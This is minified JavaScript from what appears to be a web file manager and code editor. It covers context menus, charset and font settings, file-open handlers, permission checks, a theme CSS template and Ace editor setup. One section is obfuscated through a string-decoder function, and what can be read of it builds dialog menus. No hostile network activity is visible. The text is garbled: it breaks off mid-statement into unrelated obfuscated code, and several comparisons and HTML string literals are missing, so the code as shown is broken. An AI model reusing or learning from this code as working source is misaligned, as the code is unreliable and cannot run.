SO-8859-6",name:LNG.charset_ISO_8859_6},{charset:"ISO-8859-7",name:LNG.charset_ISO_8859_7},{charset:"ISO-8859-8",name:LNG.charset_ISO_8859_8},{charset:"ISO-8859-9",name:"-"},{charset:"ISO-8859-10",name:LNG.charset_ISO_8859_10},{charset:"ISO-8859-11",name:LNG.charset_ISO_8859_11},{charset:"ISO-8859-13",name:LNG.charset_ISO_8859_13},{charset:"ISO-8859-14",name:LNG.charset_ISO_8859_14},{charset:"ISO-8859-15",name:LNG.charset_ISO_8859_15},{charset:"ISO-8859-16",name:LNG.charset_ISO_8859_16},{charset:"ISO-2022-JP",name:LNG.charset_ISO_2022_JP},{charset:"KOI8-R",name:LNG.charset_KOI8_R},{charset:"KOI8-T",name:LNG.charset_KOI8_T},{charset:"KOI8-U",name:LNG.charset_KOI8_U},{charset:"Macintosh",name:LNG.charset_Macintosh},{charset:"PT154",name:LNG.charset_PT154},{charset:"SHIFT_JIS",name:LNG.charset_SHIFT_JIS},{charset:"TIS-620",name:LNG.charset_TIS_620},{charset:"ARMSCII-8",name:LNG.charset_ARMSCII_8},{charset:"VISCII",name:LNG.charset_VISCII},{charset:"Windows-1251",name:""},{charset:"Windows-1252",name:""},{charset:"Windows-1254",name:""}],i=function(e){for(var a={},i=0;t.length>i;i++){var n=t[i],o=n.name?" ("+n.name+")":"";a[e+"-"+n.charset]={name:n.charset+o}}return a},s=G.codeFontAll.split(","),r={},l=0;s.length>l;l++){var c=s[l],d=replaceAll(c," ","-");r["set-font-family-"+c]={name:c,className:"set-font-family-"+d}}$.contextMenu({selector:".menu-view-setting",trigger:"none",callback:n,items:{tools:{name:LNG.tools,icon:"ellipsis-horizontal",accesskey:"m",items:{preview:{name:LNG.preview+"Ctrl+Shift+S",icon:"eye-open"},"open-browser":{name:LNG.open_ie,icon:"external-link",accesskey:"b"},sep1:"---------","beautify-html":{name:"html "+LNG.beautify_code,icon:"code"},"beautify-css":{name:"css "+LNG.beautify_code,icon:"code"},"beautify-js":{name:"js "+LNG.beautify_code,icon:"code"},"beautify-php":{name:"php "+LNG.beautify_code,icon:"code"},sep11:"---------","convert-case":{name:LNG.convert_case,icon:"font",items:{"convert-upper":{name:LNG.convert_upper_case+"Ctrl+U",icon:"chevron-sign-up"},"convert-lower":{name:LNG.convert_lower_case+"Ctrl+O",icon:"chevron-sign-down"}}},sep12:"---------","charset-set":{name:LNG.charset_default_set,icon:"flag-alt",className:"code-charset-list",accesskey:"c",items:i("set-charset")},"charset-save":{name:LNG.charset_convert_save,icon:"flag",className:"code-charset-list",accesskey:"s",items:i("save-charset")}}},sep1:"---------","function-list":{name:LNG.function_list+"Ctrl+Shift+E",className:"function-list"},"show-gutter":{name:LNG.show_gutter,className:"show-gutter"},"auto-wrap":{name:LNG.wordwrap,className:"auto-wrap"},"display-char":{name:LNG.char_all_display,className:"display-char"},sep2:"---------","font-family":{name:LNG.font_family,icon:"italic",className:"code-font-family-list",accesskey:"m",items:r},"ace-mode":{name:LNG.keyboard_type,icon:"code",accesskey:"m",items:{"keyboard-type-ace":{name:"Default",className:"keyboard-type-ace"},"keyboard-type-vim":{name:"vim",className:"keyboard-type-vim"},"keyboard-type-emacs":{name:"emacs",className:"keyboard-type-emacs"}}},sep3:"---------",help:{name:LNG.help,icon:"question",items:{shortcut:{name:LNG.shortcut,icon:"keyboard"},about:{name:LNG.about,icon:"info-sign"},emmet:{name:"Emmet help",icon:"code"},sep4:"-----------","learn-more":{name:LNG.learn_more,icon:"external-link"}}}}}),Hook.bind("rightMenu.show.menu-view-setting",function(e,t){var a=Editor.current()&&Editor.current().kod,i="contextMenu.items.tools.items.",n=t.data(),o=lodash.get(n,i+"beautify-php.$node"),s=a.charset.toUpperCase();"php"==a.mode?o.removeClass("hidden"):o.addClass("hidden"),$(".code-charset-list .selected").removeClass("selected");var r=lodash.get(n,i+"charset-set.items.set-charset-"+s+".$node"),l=lodash.get(n,i+"charset-save.items.save-charset-"+s+".$node");r&&r.addClass("selected"),l&&l.addClass("selected")}),$(".tools [action]").bind("click",function(e){var t=$(this).attr("action");return n(t),Editor.focus(),stopPP(e),!1}),$(".tab-size-set").click(function(){var e=$(this).text().split(":");Editor.saveConfig("tabSize",e[1]),Editor.focus(),Editor.current().execCommand("convertIndent","reset_size")}),$("ul.code-font-family-list .context-menu-item").click(function(){Editor.saveConfig("fontFamily",$(this).find("span").html(),""),Editor.focus(),o()}),$("body").click(function(e){try{$(".toolbar-menu").removeClass("select"),e&&$(e.target).is("textarea")||$(e.target).is("input")||0!=$(e.target).parents(".right-main").length||Editor.focus()}catch(e){}}),$(".gotoline-input input").keyup(function(){var e=parseInt($(this).val());isNaN(e)||Editor.current().gotoLine(e)}).keyEnter(function(e){return $.contextMenu.hidden(),Editor.focus(),stopPP(e),!1})},t=function(){var e=Editor.aceModeList.modes,t='';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var _0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
        '+LNG.unknow_file_tips+"
        "+b+'
        1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
        2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+h+f+'">'+LNG.unknow_file_download+'
        '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n");;define("app/src/edit/edit",["./preview","./previewMarkdown","./previewMarkdownParse","./tpl/markdownPreview.html","./functionList","./markdownTools","./tpl/markdownHelpCN.html","./tpl/markdownHelp.html","./calcPreview","./calc","lib/ace/src-min-noconflict/ext-modelist","./tpl/editTabContent.html"],function(a,b){var c={},d=void 0,e=a("./preview");a("./calcPreview"),a("lib/ace/src-min-noconflict/ext-modelist"),aceModeList=ace.require("ace/ext/modelist"),a.async("lib/ace/src-min-noconflict/ext-language_tools",function(){ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager})}),a.async("lib/ace/emmet.min.js",function(){a.async("lib/ace/src-min-noconflict/ext-emmet",function(){ace.require("ace/ext/emmet");for(var a in c)c[a].setOptions({enableEmmet:!0})})});var f=ace.require("ace/lib/net");f.loadScript.hook("loadScript",f,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments});var g=ace.require("ace/mouse/default_handlers").DefaultHandlers;g.prototype.onMouseDown.hook("onMouseDown",g.prototype,function(){arguments[0].preventDefault=function(){return!0}});var h=ace.require("ace/virtual_renderer").VirtualRenderer;h.prototype.showComposition.hook("showComposition",h.prototype,function(){return this.session.selection.rangeCount>1?"hookReturn":void 0});var i=ace.require("ace/editor").Editor;i.prototype.$checkMultiselectChange.hook("$checkMultiselectChange",i.prototype,function(){return"hookReturn"});var j,k,l=function(a,b){if(void 0==b||void 0==a||c.length<1)return"";for(var d in c)try{if(c[d].kod[a]==b)return c[d].kod.uuid}catch(e){}return""},m=function(){$(".close-item").click(function(){$(".edit-body .introduction").addClass("hidden")})},n=function(){m();var a={fontSize:"15px",theme:"tomorrow",showGutter:1,autoWrap:1,autoComplete:1,functionList:1,tabSize:4,softTab:1,displayChar:0,fontFamily:"Menlo",keyboardType:"ace",autoSave:0};for(var b in a)"undefined"==typeof G.codeConfig[b]&&(G.codeConfig[b]=a[b]);autoFunctionList=parseInt(G.codeConfig.functionList),Toolbar.toolbarSelected(),y(),$("body").mouseup(function(a){var b=["markdown-menu-box","markdown-setting","markdown-help"],c={"markdown-menu-box":"tool-markdown-menu","markdown-setting":"tool-markdown-setting","markdown-help":"tool-markdown-help"};$.each(b,function(b,d){$(a.target).attr("markdown-action")==c[d]||$(a.target).parent().attr("markdown-action")==c[d]||$(a.target).hasClass(d)||$(a.target).parent().hasClass("val")||0!=$(a.target).parents("."+d).length||$("."+d).addClass("hidden")})}),Mousetrap.bind(["ctrl+f","command+f"],function(a,b){switch(stopPP(a),b){case"ctrl+f":case"command+f":}})},o=function(a){var b=core.pathExt(a),c=aceModeList.getModeForPath(a).name;if("text"==c)for(var d in Editor.fileOpenMode)if(-1!=$.inArray(b,Editor.fileOpenMode[d])){c=d;break}return c},p=function(a){var b,d="id_"+UUID();if(void 0==a||""==a||"undefined"==a)return b={uuid:d,name:"newfile.txt",charset:"utf-8",filename:"",mode:o("test.txt"),theUrl:""},Hook.trigger("editor.initAdd.before",b),q(b),s(b),$(".edit-body .this").removeClass("this"),$(".edit-body pre#"+d).parent().addClass("this"),$(".tab-"+b.uuid).removeClass("loading"),A(),t(),Toolbar.toolbarSelected(),void Hook.trigger("editor.initAdd.ready",c[d]);var e=a;if("http"==a.substr(0,4)){var f=$.getUrlParam("name",a),g=$.getUrlParam("downFilename",a);f?e=urlDecode(f):g&&(e=urlDecode(g))}b={charset:"utf-8",uuid:d,name:core.pathThis(e),filename:e,mode:o(e),theUrl:""},"http"==a.substr(0,4)&&(b.filename=""),Hook.trigger("editor.initAdd.before",b),q(b),c[b.uuid]={kod:{filename:b.filename}},core.fileGet(a,function(a,e,f){if(b.theUrl=f,$(".tab-"+b.uuid).removeClass("loading"),!e||!e.code)return J(b.uuid),Tips.tips(e);if(0==$("#"+b.uuid).length)return void J(b.uuid);var g=e.data,h="";if("php"==g.ext&&0==g.content.indexOf(h)){var i=g.content.substr(h.length);g.content=h+js_beautify(i),b.mode=o("test.json")}"oexe"==g.ext&&(g.content=js_beautify(g.content)),c[d]=void 0,$("#"+d).text(g.content),s(b);var j=c[d];j.kod.charset=g.charset,j.kod.base64=g.base64,j.navigateTo(0),j.moveCursorTo(0,0),R(),A(),t(),Toolbar.toolbarSelected(),Hook.trigger("editor.initAdd.ready",j)},function(a){J(b.uuid),a||(a=LNG.error),Tips.tips(a,!1)})},q=function(b){var c=core.iconSmall(core.pathExt(b.name)),d='
        '+c+htmlEncode(b.name)+'
        ';$(d).insertBefore(".edit-tab .add");var e=a("./tpl/editTabContent.html"),f=template.compile(e),g=f({LNG:LNG,uuid:b.uuid});if($(".edit-body .tabs").append(g),w(b.uuid),Tap.resetWidth("add"),y(),"markdown"==b.mode&&$.getUrlParam("sid")){var h=$("#"+b.uuid).parent(".edit-content");h.addClass("markdown-full-page")}},r=function(a){clearTimeout(j),j=!1,j=setTimeout(function(){try{a.kod.preview.editChange()}catch(b){}},300)},s=function(b){var d=ace.edit(b.uuid),f=d.getSession();d.setTheme("ace/theme/"+G.codeConfig.theme),void 0!=b.mode&&d.getSession().setMode("ace/mode/"+b.mode),f.setTabSize(parseInt(G.codeConfig.tabSize)),f.setUseSoftTabs(parseInt(G.codeConfig.softTab)),f.setUseWrapMode(parseInt(G.codeConfig.autoWrap)),d.renderer.setShowGutter(parseInt(G.codeConfig.showGutter)),d.renderer.setScrollMargin(0,100,0,0),"ace"==G.codeConfig.keyboardType?d.setKeyboardHandler():d.setKeyboardHandler("ace/keyboard/"+G.codeConfig.keyboardType),d.setShowPrintMargin(!1),d.setPrintMarginColumn(120),d.$blockScrolling=1/0,d.setDragDelay(20),d.setShowInvisibles(parseInt(G.codeConfig.displayChar)),d.setFontSize(parseInt(G.codeConfig.fontSize)),d.setAnimatedScroll(!0),d.setOptions({enableEmmet:!0,enableSnippets:!0,enableBasicAutocompletion:!0,enableLiveAutocompletion:!0}),d.on("change",function(a){B(d,!0),r(d)}),d.on("changeSelection",function(a){T()}),d.commands.addCommand({name:"editSave",bindKey:{win:"Ctrl-S",mac:"Command-S",sender:"editor|cli"},exec:function(a,b,c){D(a.kod.uuid)}}),d.commands.addCommand({name:"editFunction",bindKey:{win:"Ctrl-Shift-E",mac:"Command-Shift-E",sender:"editor|cli"},exec:function(a,b,c){Toolbar.doAction("functionList")}}),d.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-Shift-S",mac:"Command-Shift-S"},exec:function(a){Toolbar.doAction("preview")}}),d.commands.addCommand({name:"showKeyboardShortcuts",bi